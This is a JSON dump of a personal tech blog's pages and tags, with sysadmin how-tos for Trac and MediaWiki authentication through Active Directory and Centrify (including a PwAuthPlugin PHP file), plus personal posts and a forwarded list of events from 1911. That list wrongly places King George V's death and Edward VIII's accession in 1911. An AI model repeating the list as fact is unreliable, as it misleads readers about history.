cheatsheet"},{"body":"","link":"https://dawning.ca/tags/apt-apt-getcacheubuntudebianlinuxapt-cachertutorialcheatsheetcheat-sheetguidehowtohow-toexample/","section":"tags","tags":null,"title":"Apt; Apt-Get;cache;ubuntu;debian;linux;apt-Cacher;tutorial;cheatsheet;cheat Sheet;guide;howto;how To;example"},{"body":" I wrote a little free mobile app for the Blackberry Playbook.\nSiteSearcher is available here\n","link":"https://dawning.ca/pages/sitesearcher/","section":"pages","tags":null,"title":"SiteSearcher"},{"body":"","link":"https://dawning.ca/categories/mumbling/","section":"categories","tags":null,"title":"Mumbling"},{"body":" Yes, I am indeed still alive. I had my site hosted on Amazon Web Services EC2 for a while. Some sort of database problem kept grinding that server to a halt. I\u0026rsquo;ve since migrated my site elsewhere (not because of that) and sort of patched the issues in the process.\nI\u0026rsquo;ve been seriously considering blowing away this website and making something completely new.. And probably not Wordpress-based.. (Wordpress is awesome, I just am ready for something else). In the mean time, I\u0026rsquo;ve received the odd request to resurrect my site from STP users. So, for now anyway, Dawning.ca is back!\nIn case you\u0026rsquo;re wondering WTF I\u0026rsquo;ve done lately, there\u0026rsquo;s been many projects as late, but many are proprietary paid things that I shouldn\u0026rsquo;t really blog about. :\\\nI will say that quite a few months back Research in Motion had a great contest. Anyone who wrote an application for the PlayBook tablet, would be given one. So I delivered a corny app (SiteSearcher and they sent me a Playbook. I enjoyed it for months, until it was stolen. I\u0026rsquo;ve since replaced it with an iPad Mini which I must say is pretty insanely awesome. Still, when I see a Playbook, I often imagine buying one again. But I really loved it so much because I got it for \u0026ldquo;free\u0026rdquo; (more like for ~3 hours of learning). Photo is attached as evidence that this really happened. I called the photo \u0026ldquo;Victory at Sea!\u0026rdquo;, since in the same week I was sent my \u0026ldquo;free\u0026rdquo; Playbook, my best little buddy Gryphon moved in!\n","link":"https://dawning.ca/posts/still-alive/","section":"posts","tags":null,"title":"Yes, I'm still alive!"},{"body":" Since adopting OSX as my typical workstation environment, I\u0026rsquo;ve often been annoyed by a lack of understanding about how to cleanly call it from the commandline, but not via a terminal. On Linux I\u0026rsquo;d typically just make a little bash script and fork it out from /etc/rc.local. That\u0026rsquo;s not really an option on OSX.\nA lot of current Synergy users don\u0026rsquo;t really have to solve this issue any more, because Synergy 1.4 has a pretty GUI they can use. However, some people, like myself, are using Synergy with the 1.3 based version included with Ubuntu. Not to mention, I\u0026rsquo;m fond of running multiple instances of synergy at once, which the GUI doesn\u0026rsquo;t support.\nSuffice to say, I now have the solution. I found a nice solution posted here, though that one wasn\u0026rsquo;t specific to Synergy, I used that person\u0026rsquo;s method. Granted, not to call a Python script, but BASH instead.\nAnnnnnyway.. Go here for my instructions!\nHint: The solution involes plists, launchctl and bash scripts.\n","link":"https://dawning.ca/posts/synergy-on-osx/","section":"posts","tags":null,"title":"Running Synergy on OSX"},{"body":"","link":"https://dawning.ca/categories/announcements/","section":"categories","tags":null,"title":"Announcements"},{"body":"I\u0026rsquo;ve long since been missing canine companionship since my legendary pal Blaze\u0026rsquo;s days became numbered. The last few years have not been particularly accommodating of a battlehound\u0026hellip; Finally, however, the time has arrived.\nEnter Gryphon, the awesome puppy! I got her through a rescue organization (AARCS). She\u0026rsquo;s a damned smart pup and has inspired us to meet tons of people in the community now. Annnyway.. Read on to see the full photo album of her first month with us, during which she aged from 4 to 5 months old.\n[flickr-gallery mode=\u0026ldquo;photoset\u0026rdquo; photoset=\u0026ldquo;72157629588977226\u0026rdquo;]\n","link":"https://dawning.ca/posts/hello-gryphon/","section":"posts","tags":null,"title":"Meet my new minion: GRYPHON!"},{"body":"","link":"https://dawning.ca/categories/photos/","section":"categories","tags":null,"title":"Photos"},{"body":"","link":"https://dawning.ca/categories/computer-networking/","section":"categories","tags":null,"title":"Computer Networking"},{"body":"","link":"https://dawning.ca/tags/computers/","section":"tags","tags":null,"title":"Computers"},{"body":"","link":"https://dawning.ca/tags/inventor/","section":"tags","tags":null,"title":"Inventor"},{"body":"","link":"https://dawning.ca/tags/memorial/","section":"tags","tags":null,"title":"Memorial"},{"body":"","link":"https://dawning.ca/tags/next/","section":"tags","tags":null,"title":"NeXT"},{"body":"","link":"https://dawning.ca/categories/phones/","section":"categories","tags":null,"title":"Phones"},{"body":"","link":"https://dawning.ca/tags/pixar/","section":"tags","tags":null,"title":"Pixar"},{"body":"","link":"https://dawning.ca/tags/steve-jobs/","section":"tags","tags":null,"title":"Steve Jobs"},{"body":"Thanks for all your profound, inspiring and helpful inventions Steve. You\u0026rsquo;ve made an admirable mark on the world.\n","link":"https://dawning.ca/posts/steve-jobs/","section":"posts","tags":["apple","computers","steve jobs","pixar","NeXT","inventor","memorial"],"title":"Thank you Steve"},{"body":"","link":"https://dawning.ca/tags/active-directory/","section":"tags","tags":null,"title":"Active Directory"},{"body":"","link":"https://dawning.ca/tags/centrify/","section":"tags","tags":null,"title":"Centrify"},{"body":"","link":"https://dawning.ca/tags/configure/","section":"tags","tags":null,"title":"Configure"},{"body":"","link":"https://dawning.ca/tags/edgewall/","section":"tags","tags":null,"title":"Edgewall"},{"body":"","link":"https://dawning.ca/tags/integration/","section":"tags","tags":null,"title":"Integration"},{"body":"","link":"https://dawning.ca/tags/lamp/","section":"tags","tags":null,"title":"Lamp"},{"body":"","link":"https://dawning.ca/tags/pam/","section":"tags","tags":null,"title":"Pam"},{"body":"A minor post - mostly for my own notes..\nI was setting up an instance of Trac and I wanted Active Directory authentication going. I\u0026rsquo;ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.\nI was close to an obvious simple solution for a fair while, but I kept running in to error messages like:\n[error] [client jay] GROUP: mrjay not in required group(s)., referer: http://trac/\nHere\u0026rsquo;s the steps I followed that not only get this far, but got past through to working just fine\u0026hellip;\nStep 1. Set up Centrify\nI used something like this to guide me. Step 2. Perform basic install of Trac and configure Apache for logins in trac, in my case:\n\u0026lt;Location /login\u0026gt; AuthType Basic AuthName \u0026ldquo;Please login with your network account\u0026rdquo; AuthBasicProvider external AuthExternal pwauth AuthzUnixgroup on Require valid-user Require group ActiveDirectoryUsers Step 3: Add ActiveDirectoryUsers group to system\nYou could use another group name, or skip this step and use something pre-existing, like \u0026ldquo;users\u0026rdquo; - just make sure your \u0026ldquo;Require group\u0026rdquo; setting in your Apache Virtual Host\u0026rsquo;s config corresponds to whatever you pick.\nStep 4: Edit your Centrify Config:\ncp /etc/centrifydc/group.ovr.sample /etc/centrifydc/group.ovr\nand edit to look something like:\n-webusers@local.domain +Domain Admins:root::0: +local.domain/Users/Domain Users:ActiveDirectoryUsers::114: +::::\nBe sure to set that gid (\u0026lsquo;114\u0026rsquo; above) to whatever the gid of the group you made in Step 3 was (see it in /etc/group)\nStep 5: Run \u0026ldquo;adflush\u0026rdquo;, restart Apache and try to login\nThat should be it - hopefully I haven\u0026rsquo;t missed anything I did. Leave a comment if need be.\nHave fun!\n","link":"https://dawning.ca/posts/trac-auth-via-centrifyad/","section":"posts","tags":["active directory","apache","ubuntu","linux","lamp","configure","centrify","trac","edgewall","integration","pam"],"title":"Trac Authenticating Through Active Directory"},{"body":"","link":"https://dawning.ca/tags/closet/","section":"tags","tags":null,"title":"Closet"},{"body":"","link":"https://dawning.ca/tags/datacenter/","section":"tags","tags":null,"title":"Datacenter"},{"body":"","link":"https://dawning.ca/tags/datacentre/","section":"tags","tags":null,"title":"Datacentre"},{"body":"","link":"https://dawning.ca/tags/diy/","section":"tags","tags":null,"title":"Diy"},{"body":"","link":"https://dawning.ca/tags/fans/","section":"tags","tags":null,"title":"Fans"},{"body":" When it was but a closet\nThe Initial Setup\nAnd Finally\u0026hellip;\nShortly after moving in to my house, I opted to use a room for my Geekery (formerly known as \u0026ldquo;Nerdery\u0026rdquo;).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server \u0026ldquo;rack\u0026rdquo; (AKA Ikea Shelf) in.\nUpdate (Apr 26)\nThis hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.\nSnap\nAfter several months I couldn\u0026rsquo;t stand the sub-organization of it all. I wanted to be able to close the closet door (which had cables coming out of it) and I felt I needed some substantial air-flow through the space. Thus the \u0026ldquo;Datacentre Project\u0026rdquo; was born.\nn-birds\nLike any good geek, I opted to also use the project to explore some other things. You know, n-birds with 1 stone. So by incarnating the Datacentre, I indirectly explored Google Sites, Picasa and Elementary Woodworking.\nTime\nIt took me of the order of about 40 hours to complete the whole thing from start to finish. Much time was spent planning, measuring and driving back to the hardware store for some small thing(s) I needed more of.\nJournal\nAs I said, I used the project to also explore Google Sites. Thus, I made a kind of journal with detailed notes \u0026amp; photos here.\nOn the Layout\nThe layout I ultimately built out was done so to enable me ideally easy access to the innards of all machines in the space. I can (tightly) negotiate my body between the machines and switch things up without having to move anything (that\u0026rsquo;s epic). I have a pair of cables I can attach to any of the machines (poor-man\u0026rsquo;s KVM) so I can get at their consoles if I\u0026rsquo;m having remote problems. I\u0026rsquo;m considering making a narrow set of drawers that can be rolled in and out of the center cavity. I\u0026rsquo;d put cables and things in those. The only other thing the space could probably use, is more cowbell!\nLooking Back\nIn hind sight the whole project took me far longer than I expected. Like in many other areas so much time went to in planning (which ended up being a highly iterative process as I\u0026rsquo;d think of new things as I\u0026rsquo;d be about to implement a previous idea). I must add, I don\u0026rsquo;t really like the LEDs, except they ended up being functional. Ideally they\u0026rsquo;d be white or a whitish-yellow. But that wasn\u0026rsquo;t an option.\n","link":"https://dawning.ca/posts/geekery-datacentre-project-completed/","section":"posts","tags":["linux","diy","computers","power","project","datacentre","datacenter","closet","fans","ventilation","servers","wood"],"title":"Geekery Datacentre Project Completed"},{"body":"","link":"https://dawning.ca/tags/power/","section":"tags","tags":null,"title":"Power"},{"body":"","link":"https://dawning.ca/tags/project/","section":"tags","tags":null,"title":"Project"},{"body":"","link":"https://dawning.ca/tags/servers/","section":"tags","tags":null,"title":"Servers"},{"body":"","link":"https://dawning.ca/tags/ventilation/","section":"tags","tags":null,"title":"Ventilation"},{"body":"","link":"https://dawning.ca/tags/wood/","section":"tags","tags":null,"title":"Wood"},{"body":"","link":"https://dawning.ca/tags/awesome/","section":"tags","tags":null,"title":"Awesome"},{"body":"","link":"https://dawning.ca/tags/clean/","section":"tags","tags":null,"title":"Clean"},{"body":"","link":"https://dawning.ca/tags/generation/","section":"tags","tags":null,"title":"Generation"},{"body":"","link":"https://dawning.ca/tags/kirk-sorensen/","section":"tags","tags":null,"title":"Kirk Sorensen"},{"body":"","link":"https://dawning.ca/tags/lftr/","section":"tags","tags":null,"title":"LFTR"},{"body":"I went to a Protospace talk recently where I listened to a wonderful 4 hour talk about Thorium based reactors. Suffice to say it was time wonderfully well spent. I\u0026rsquo;m so energized and psyched. I\u0026rsquo;ve really liked Nuclear power in the past, but that\u0026rsquo;s given way to this even better alternative. Seems a great deal safer and just all round \u0026ldquo;better\u0026rdquo; in every dimension.\nHere\u0026rsquo;s an early video from the talk. A buddy is working on a refined version combining multiple angles (some of which I filmed).\nFor more highly satisfying information about LFTR reactors, go here.\n","link":"https://dawning.ca/posts/lft/","section":"posts","tags":["power","awesome","LFTR","thorium","reactor","kirk sorensen","generation","safe","clean","nuclear","profound"],"title":"Liquid-Fluoride Thorium Reactor"},{"body":"","link":"https://dawning.ca/tags/nuclear/","section":"tags","tags":null,"title":"Nuclear"},{"body":"","link":"https://dawning.ca/tags/profound/","section":"tags","tags":null,"title":"Profound"},{"body":"","link":"https://dawning.ca/tags/reactor/","section":"tags","tags":null,"title":"Reactor"},{"body":"","link":"https://dawning.ca/tags/safe/","section":"tags","tags":null,"title":"Safe"},{"body":"","link":"https://dawning.ca/tags/thorium/","section":"tags","tags":null,"title":"Thorium"},{"body":"","link":"https://dawning.ca/tags/calgary/","section":"tags","tags":null,"title":"Calgary"},{"body":"For a while I\u0026rsquo;ve had this Calgary Traffic page that brings together live web cam images from the city\u0026rsquo;s public traffic website. I didn\u0026rsquo;t really like that I couldn\u0026rsquo;t see all the cameras from the view they give, so I whipped up a page to do it for me..\nAnyway, I just updated the page as I found they\u0026rsquo;ve since added another 30 cameras since the last time I looked. I also added a little more brains to my script for this.\nFor those who are interested check them out here.\n","link":"https://dawning.ca/posts/calgary-traffic-web-cams/","section":"posts","tags":["pictures","calgary","traffic","web cam","live","images","yyc","cam"],"title":"Calgary Traffic Web Cams"},{"body":"","link":"https://dawning.ca/tags/cam/","section":"tags","tags":null,"title":"Cam"},{"body":"","link":"https://dawning.ca/tags/images/","section":"tags","tags":null,"title":"Images"},{"body":"","link":"https://dawning.ca/tags/live/","section":"tags","tags":null,"title":"Live"},{"body":"","link":"https://dawning.ca/tags/pictures/","section":"tags","tags":null,"title":"Pictures"},{"body":"","link":"https://dawning.ca/tags/traffic/","section":"tags","tags":null,"title":"Traffic"},{"body":"","link":"https://dawning.ca/tags/web-cam/","section":"tags","tags":null,"title":"Web Cam"},{"body":"","link":"https://dawning.ca/tags/yyc/","section":"tags","tags":null,"title":"Yyc"},{"body":"","link":"https://dawning.ca/tags/calculate/","section":"tags","tags":null,"title":"Calculate"},{"body":"","link":"https://dawning.ca/tags/diode/","section":"tags","tags":null,"title":"Diode"},{"body":"","link":"https://dawning.ca/tags/electrical/","section":"tags","tags":null,"title":"Electrical"},{"body":"","link":"https://dawning.ca/tags/electronics/","section":"tags","tags":null,"title":"Electronics"},{"body":"","link":"https://dawning.ca/tags/engineering/","section":"tags","tags":null,"title":"Engineering"},{"body":"","link":"https://dawning.ca/tags/example/","section":"tags","tags":null,"title":"Example"},{"body":"","link":"https://dawning.ca/tags/find/","section":"tags","tags":null,"title":"Find"},{"body":"","link":"https://dawning.ca/tags/hardware/","section":"tags","tags":null,"title":"Hardware"},{"body":"","link":"https://dawning.ca/tags/learn/","section":"tags","tags":null,"title":"Learn"},{"body":"","link":"https://dawning.ca/tags/led/","section":"tags","tags":null,"title":"Led"},{"body":"","link":"https://dawning.ca/tags/protect/","section":"tags","tags":null,"title":"Protect"},{"body":"","link":"https://dawning.ca/tags/reduce/","section":"tags","tags":null,"title":"Reduce"},{"body":"","link":"https://dawning.ca/tags/regulate/","section":"tags","tags":null,"title":"Regulate"},{"body":"","link":"https://dawning.ca/tags/resistor/","section":"tags","tags":null,"title":"Resistor"},{"body":"","link":"https://dawning.ca/tags/restrict/","section":"tags","tags":null,"title":"Restrict"},{"body":"I saw this post on Instructables where someone asked how they could add an LED on to a high-voltage source. And for reasons I can\u0026rsquo;t explain, I just felt compelled to take a crack at it\u0026hellip;\nOn the surface it\u0026rsquo;s a pretty boring/simple question. But on the other, as much as I\u0026rsquo;ve answered this question for myself several times, I thought I\u0026rsquo;d provide my approach for the world to judge. Supposedly I\u0026rsquo;ve learned how to do this (and a lot more) in school, but it seems to me like the basics like this are worthy of most of the attention.\nI used this remarkable Circuit Simulator to explore my solution in somewhat better-than-paper regard and learned that the internal resistance of LEDs is probably a lot more than I thought. I also checked in a few forums and this nice website in an effort to validate my approach, it seems like a favored approach.\nIn the tradition of Salman Khan, I decided I\u0026rsquo;d put together my own video and see how it goes\u0026hellip;\nComments?\n","link":"https://dawning.ca/posts/led-under-great-potential/","section":"posts","tags":["hardware","electronics","led","diy","example","engineering","power","voltage","resistor","calculate","reduce","find","restrict","protect","regulate","learn","electrical","diode"],"title":"Throwing Down an LED where the Potential is great"},{"body":"","link":"https://dawning.ca/tags/voltage/","section":"tags","tags":null,"title":"Voltage"},{"body":"","link":"https://dawning.ca/tags/authentication/","section":"tags","tags":null,"title":"Authentication"},{"body":"","link":"https://dawning.ca/tags/mediawiki/","section":"tags","tags":null,"title":"Mediawiki"},{"body":"","link":"https://dawning.ca/tags/quick/","section":"tags","tags":null,"title":"Quick"},{"body":" Here\u0026rsquo;s a quick recipe for getting a server up with MediaWiki running and having Active Directory Logins working with it\u0026hellip; I\u0026rsquo;ll warn you, there are other ways of doing this. I find this to satisfy my needs, but if you manage to cause the world to implode, I won\u0026rsquo;t be held responsible.\nStep 1: Set up your server\nI created an Ubuntu 10.10 server VM for this, use whatever if you have some sort of issue against doing the same as me.\nStep 2: Get Centrify Going\nMy friend told me about \u0026ldquo;Centrify\u0026rdquo; the other day. It\u0026rsquo;s a package you can install to help make Active Directory Logins simple. To install it, you have to first uncomment the partner repos in /etc/apt/sources.list - then install it via \u0026ldquo;apt-get install centrifydc\u0026rdquo;.\nTo activate Centrify, run \u0026ldquo;adjoin -w AD-NAME\u0026rdquo;, if you need more options, use \u0026ldquo;adjoin \u0026ndash;help\u0026rdquo; to learn more.\nReboot your machine and confirm you can login with your credentials in Active Directory.\nStep 3: Install \u0026amp; Configure MediaWiki\nGo through the regular fun of setting up MediaWiki.. So install Apache2, php5 and whatever database you like.\nOnce you\u0026rsquo;ve got the base install of MediaWiki going, add the following lines to your LocalSettings.php\nrequire_once(\u0026quot;./extensions/PwAuthPlugin.php\u0026quot;); $wgAuth = new PwAuthPlugin();\n$wgGroupPermissions[\u0026rsquo;\u0026rsquo;][\u0026lsquo;createaccount\u0026rsquo;] = false; $wgGroupPermissions[\u0026rsquo;\u0026rsquo;][\u0026lsquo;read\u0026rsquo;] = true; $wgGroupPermissions[\u0026rsquo;\u0026rsquo;][\u0026rsquo;edit\u0026rsquo;] = false; $wgGroupPermissions[\u0026rsquo;\u0026rsquo;][\u0026lsquo;createpage\u0026rsquo;] = false; $wgGroupPermissions[\u0026rsquo;*\u0026rsquo;][\u0026lsquo;createtalk\u0026rsquo;] = false;\n$wgShowIPinHeader = false; # For non-logged in users\nThen, dump the following file to ./extentions/PwAuthPlugin.php\n\u003c?php /** * Version 1.0 * * Authentication Plugin for pwauth * Derived from AuthPlugin.php * * Much of the commenting comes straight from AuthPlugin.php * * Copyright 2006 Nicholas J. Humfrey * Released under the GNU General Public License * * pwauth is available from http://www.unixpapa.com/pwauth/ * * LocalSettings configuration: * require_once(\"./extensions/PwAuthPlugin.php\"); * $wgAuth = new PwAuthPlugin(); * * */ require_once('AuthPlugin.php'); $pwauth_email_domain = \"\"; $pwauth_bin_path = \"/usr/local/libexec/pwauth\"; error_reporting(E_ALL); // Debug // First check if class has already been defined. if (!class_exists('AuthPlugin')) { /** * Auth Plugin * */ require_once './includes/AuthPlugin.php'; } // End: if (!class_exists('AuthPlugin')) { class PwAuthPlugin extends AuthPlugin { \\t/** \\t * Check whether there exists a user account with the given name. \\t * The name will be normalized to MediaWiki's requirements, so \\t * you might need to munge it (for instance, for lowercase initial \\t * letters). \\t * \\t * @param string $username \\t * @return bool \\t * @access public \\t */ \\tfunction userExists( $username ) { \\t\\t$user = posix_getpwnam( strtolower($username) ); \\t\\treturn is_array($user); \\t} \\t/** \\t * Check if a username+password pair is a valid login. \\t * The name will be normalized to MediaWiki's requirements, so \\t * you might need to munge it (for instance, for lowercase initial \\t * letters). \\t * \\t * @param string $username \\t * @param string $password \\t * @return bool \\t * @access public \\t */ \\tfunction authenticate( $username, $password ) { \\t\\tglobal $pwauth_bin_path; \\t\\t$username = strtolower( $username ); \\t\\t$handle = popen($pwauth_bin_path, 'w'); \\t\\tif ($handle === FALSE) { \\t\\t\\terror_log(\"Error opening pipe to pwauth\"); \\t\\t\\treturn false; \\t\\t} \\t\\tif (fwrite($handle, \"$username $password \") === FALSE) { \\t\\t\\terror_log(\"Error writing to pwauth pipe\"); \\t\\t\\treturn false; \\t\\t} \\t\\t# Is the password valid? \\t\\t$result = pclose( $handle ); \\t\\tif ($result==0) return TRUE; \\t\\t#0 - Login OK. \\t\\t#1 - Nonexistant login or (for some configurations) incorrect password. \\t\\t#2 - Incorrect password (for some configurations). \\t\\t#3 - Uid number is below MIN_UNIX_UID value configured in config.h. \\t\\t#4 - Login ID has expired. \\t\\t#5 - Login's password has expired. \\t\\t#6 - Logins to system have been turned off (usually by /etc/nologin file). \\t\\t#7 - Limit on number of bad logins exceeded. \\t\\t#50 - pwauth was not run with real uid SERVER_UID. If you get this \\t\\t# this error code, you probably have SERVER_UID set incorrectly \\t\\t# in pwauth's config.h file. \\t\\t#51 - pwauth was not given a login \u0026 password to check. The means \\t\\t# the passing of data from mod_auth_external to pwauth is messed \\t\\t# up. Most likely one is trying to pass data via environment \\t\\t# variables, while the other is trying to pass data via a pipe. \\t\\t#52 - one of several possible internal errors occured. \\t\\terror_log(\"pwauth returned $result for username $username\"); \\t\\treturn false; \\t} \\t/** \\t * Modify options in the login template. \\t * \\t * @param UserLoginTemplate $template \\t * @access public \\t */ \\tfunction modifyUITemplate( \u0026$template ) { \\t\\t$template-\u003eset('usedomain', false ); \\t\\t$template-\u003eset('useemail', false);\\t// Disable the mail new password box. \\t\\t$template-\u003eset('create', false);\\t// Remove option to create new accounts from the wiki. \\t} \\t/** \\t * Check to see if the specific domain is a valid domain. \\t * \\t * @param string $domain \\t * @return bool \\t * @access public \\t */ \\tfunction validDomain( $domain ) { \\t\\t# We ignore domains, so erm, yes? \\t\\treturn true; \\t} \\t/** \\t * When a user logs in, optionally fill in preferences and such. \\t * For instance, you might pull the email address or real name from the \\t * external user database. \\t * \\t * The User object is passed by reference so it can be modified; don't \\t * forget the \u0026 on your function declaration. \\t * \\t * @param User $user \\t * @access public \\t */ \\tfunction updateUser( \u0026$user ) { \\t\\tglobal $pwauth_email_domain; \\t\\t// Lookup information about user \\t\\t$username = strtolower( $user-\u003egetName() ); \\t\\t$account = posix_getpwnam( $username ); \\t\\t$gecos = split( ',', $account['gecos'] ); \\t\\t// Set users real name \\t\\t$user-\u003esetRealName( $gecos[0] ); \\t\\t// Set email if domain is configured \\t\\tif (!empty( $pwauth_email_domain ) ) { \\t\\t\\t// Set the email address \\t\\t\\t$user-\u003esetEmail( $username.'@'.$pwauth_email_domain ); \\t\\t\\t// We set the email address, therefore it is valid \\t\\t\\t$user-\u003econfirmEmail(); \\t\\t} \\t\\t// For security, scramble the password to ensure the user can \\t\\t// only login using system password. \\t\\t// This set the password to a 15 byte random string. \\t\\t$pass = ''; \\t\\tfor($i=0; $i\u003c15;++$i) $pass .= chr(mt_rand(0,255)); \\t\\t//$user-\u003esetPassword($pass); //Removed by James for those using Centrify, will cause ugliness \\t\\treturn true; \\t} \\t/** \\t * Return true if the wiki should create a new local account automatically \\t * when asked to login a user who doesn't exist locally but does in the \\t * external auth database. \\t * \\t * If you don't automatically create accounts, you must still create \\t * accounts in some way. It's not possible to authenticate without \\t * a local account. \\t * \\t * This is just a question, and shouldn't perform any actions. \\t * \\t * @return bool \\t * @access public \\t */ \\tfunction autoCreate() { \\t\\treturn true; \\t} \\t/** \\t * Can users change their passwords? \\t * \\t * @return bool \\t */ \\tfunction allowPasswordChange() { \\t\\t# We can't change users system passwords \\t\\treturn false; \\t} \\t/** \\t * Set the given password in the authentication database. \\t * Return true if successful. \\t * \\t * @param string $password \\t * @return bool \\t * @access public \\t */ \\tfunction setPassword( $password ) { \\t\\t# We can't change users system passwords \\t\\treturn false; \\t} \\t/** \\t * Update user information in the external authentication database. \\t * Return true if successful. \\t * \\t * @param User $user \\t * @return bool \\t * @access public \\t */ \\tfunction updateExternalDB( $user ) { \\t\\t# We can't change users details \\t\\treturn false; \\t} \\t/** \\t * Check to see if external accounts can be created. \\t * Return true if external accounts can be created. \\t * @return bool \\t * @access public \\t */ \\tfunction canCreateAccounts() { \\t\\t# We can't create accounts \\t\\treturn false; \\t} \\t/** \\t * Add a user to the external authentication database. \\t * Return true if successful. \\t * \\t * @param User $user \\t * @param string $password \\t * @return bool \\t * @access public \\t */ \\tfunction addUser( $user, $password ) { \\t\\t# We can't create accounts \\t\\treturn false; \\t} \\t/** \\t * Return true to prevent logins that don't authenticate here from being \\t * checked against the local database's password fields. \\t * \\t * This is just a question, and shouldn't perform any actions. \\t * \\t * @return bool \\t * @access public \\t */ \\tfunction strict() { \\t\\t# Only allow authentication from system database \\t\\treturn true; \\t} \\t/** \\t * When creating a user account, optionally fill in preferences and such. \\t * For instance, you might pull the email address or real name from the \\t * external user database. \\t * \\t * The User object is passed by reference so it can be modified; don't \\t * forget the \u0026 on your function declaration. \\t * \\t * @param User $user \\t * @access public \\t */ \\tfunction initUser(\u0026$user) { \\t\\t# We do everything in updateUser \\t} } /** * Some extension information init */ $wgExtensionCredits['other'][] = array( 'name' =\u003e 'PWAuthPlugin', 'version' =\u003e '1.0', 'author' =\u003e 'Nicholas Humfrey', 'description' =\u003e 'Automagic login with system accounts, using pwauth', 'url' =\u003e 'http://www.mediawiki.org/wiki/Extension:PwAuthPlugin' ); ?\u003e Basically all of that plugin is from here. But I found I had to disable saving of passwords in the function \u0026ldquo;updateUser()\u0026rdquo; in order for this to work with Centrify in my environment.\nStep 4: Send me Beer\nNow that you\u0026rsquo;re happily up and running with AD auths in MediaWiki send me a beer via Paypal:\n![](https://www.paypal.com/en_US/i/scr/pixel.gif) ","link":"https://dawning.ca/posts/quick-recipe-for-mediawiki-with-ad-logins/","section":"posts","tags":["active directory","authentication","ubuntu","server","setup","mediawiki","10.10","centrify","quick","reipe","guide"],"title":"Quick Recipe for MediaWiki with AD logins"},{"body":"","link":"https://dawning.ca/tags/reipe/","section":"tags","tags":null,"title":"Reipe"},{"body":"","link":"https://dawning.ca/tags/setup/","section":"tags","tags":null,"title":"Setup"},{"body":"","link":"https://dawning.ca/tags/7/","section":"tags","tags":null,"title":"7"},{"body":"","link":"https://dawning.ca/tags/phoenix/","section":"tags","tags":null,"title":"Phoenix"},{"body":"","link":"https://dawning.ca/tags/vista/","section":"tags","tags":null,"title":"Vista"},{"body":" Well, after a craptacular number of requests via email and youtube, I\u0026rsquo;ve finally finished tossing together a Windows version to help out all my anonymous totally random friends.\nI should point out, THIS WORKS on Windows 7 (and quite probably Windows Vista). But I should confess the lame situation with the Text-to-Speech engine in Windows is the lack of voice profile options. Apparently there\u0026rsquo;s a way to install voice packs. I\u0026rsquo;ve written STP for Windows to take advantage of such options on systems they exist on. But\u0026hellip; If anyone actually finds a voice profile pack that \u0026lsquo;clicks\u0026rsquo;, be sure to let me know and I\u0026rsquo;ll see about hooking that in to the installer.\nblah blah blah, making post text round out\u0026hellip;\nAlso\u0026hellip; Blah.\nNow, with out further verbosity, go grab STP for Windows now!\n","link":"https://dawning.ca/posts/stp-for-windows/","section":"posts","tags":["windows","shit talker","phoenix","7","vista"],"title":"World, meet STP 1.0 for Windows"},{"body":"","link":"https://dawning.ca/tags/100th-birthday/","section":"tags","tags":null,"title":"100th Birthday"},{"body":"","link":"https://dawning.ca/tags/alberta/","section":"tags","tags":null,"title":"Alberta"},{"body":"","link":"https://dawning.ca/tags/canadian/","section":"tags","tags":null,"title":"Canadian"},{"body":"","link":"https://dawning.ca/categories/family/","section":"categories","tags":null,"title":"Family"},{"body":"","link":"https://dawning.ca/tags/georgina/","section":"tags","tags":null,"title":"Georgina"},{"body":" Photos from Grandma Smith's 100th Birthday Shindig! For those in the know, my mother\u0026rsquo;s mother has just officially turned 100!\n**This woman is one of the most impressive and interesting people I know. **\nA master-knitter amongst far too many more things to enumerate, she\u0026rsquo;s traveled quite the path thus far. Everyone on the family has at least several things she\u0026rsquo;s knitted and all those who visit her know she continues to keep a sharp mind!\nSuffice to say a little blog post can\u0026rsquo;t possibly do this woman justice!\nMy aunt Connie, Grandma\u0026rsquo;s most recent child (heh), sent out a cool list of things that happened in 1911, the year Grandma Smith was born, I thought I\u0026rsquo;d post them here!\nHighlights of Events that took place in the year 1911\nJan 09 - Toronto born Mary Pickford (Gladys Smith) appears in her first IMP film, Their First Misunderstanding\nJan 11 - Record Alberta low temperature of -61.1C recorded at Fort Vermilion\nJan 16 - Pandora becomes first 2-man sailboat to round Cape Horn west to east\nJan 17 - First aircraft landing on board a ship, USS Pennsylvania by Eugene Ely.\nJan 20 - - King George V dies and is succeeded by Edward VIII\nJan 26 - Glenn Curtiss pilots first successful hydroplane\nJan 31 - Congress names San Francisco as Panama Canal opening celebration site\nFeb 06 - Great fire destroys downtown Constantinople/Istanbul Turkey\nFeb 06 - Ronald Reagan was born in Tampico, Illinois\nMar 03 - The birth of Jean Harlow, American film star\nMar 07 - US sent 20,000 troops to Mexican border\nMar 21 - H.R.H. the Duke of Connaught 1850-1942 appointed the Canadian Governor General\nMar 26 - The birth of Tennessee Williams, American author\nMar 30 - Lötschberg tunnel in Switzerland (13,735 meter) completed\nApr 05 - Waldorf W. Aster acquires the Daily Observer\nApr 12 - A non-stop London-Paris flight takes 3h56m\nMay 07 - Large demonstrations held in New York, demanding women\u0026rsquo;s right to vote\nMay 08 - Iceland gives the vote to women\nMay 15 - British house of commons accept Parliament Bill.\nMay 16 - Zeppelin \u0026ldquo;Deutscheland\u0026rdquo; wrecked at Dusseldorf\nMay 17 - The birth of Maureen O\u0026rsquo;Sullivan, American film actress\nMay 23 - New York Public Library building at 5th Avenue dedicated by President Taft\nMay 27 - Birth of Vincent Price, American film actor\nMay 29 - First Indianapolis 500 car race, Ray Harroun wins at 74.59 mph (120 kph)\nJun 22 - King George V of England crowned\nJul 04 - Ty Cobb goes 0 for 4 \u0026amp; ends a 40 game hit streak\nJul 08 - Nan Aspinwall is first woman to make solo transcontinental trip by horse\nJul 11 - A huge forest fire breaks out in Porcupine district near Timmins,ON. fanned by high winds into a 40 km long front. The fire takes 200 lives; over 3,000 left homeless; burns up 2200 sq. km, destroying the mining communities of South Porcupine, Cochrane and Goldlands\nJul 15 - Birth of Edward Shackleton, English explorer\nJul 16 - The birth of Ginger Rogers, American film actress/dancer\nAug 22 - Mona Lisa stolen from Louvre\nSep 04 - Garros sets world altitude record of 4,250 m (13,944 ft)\nSep 09 - The first airmail service (British Post Office)\nSep 22 - Cy Young at 44, wins his 511th \u0026amp; final game\nOct 4 - - John Young Monument unveiled\nOct 10 - Robert Borden becomes prime minister, replacing Sir Wilfrid 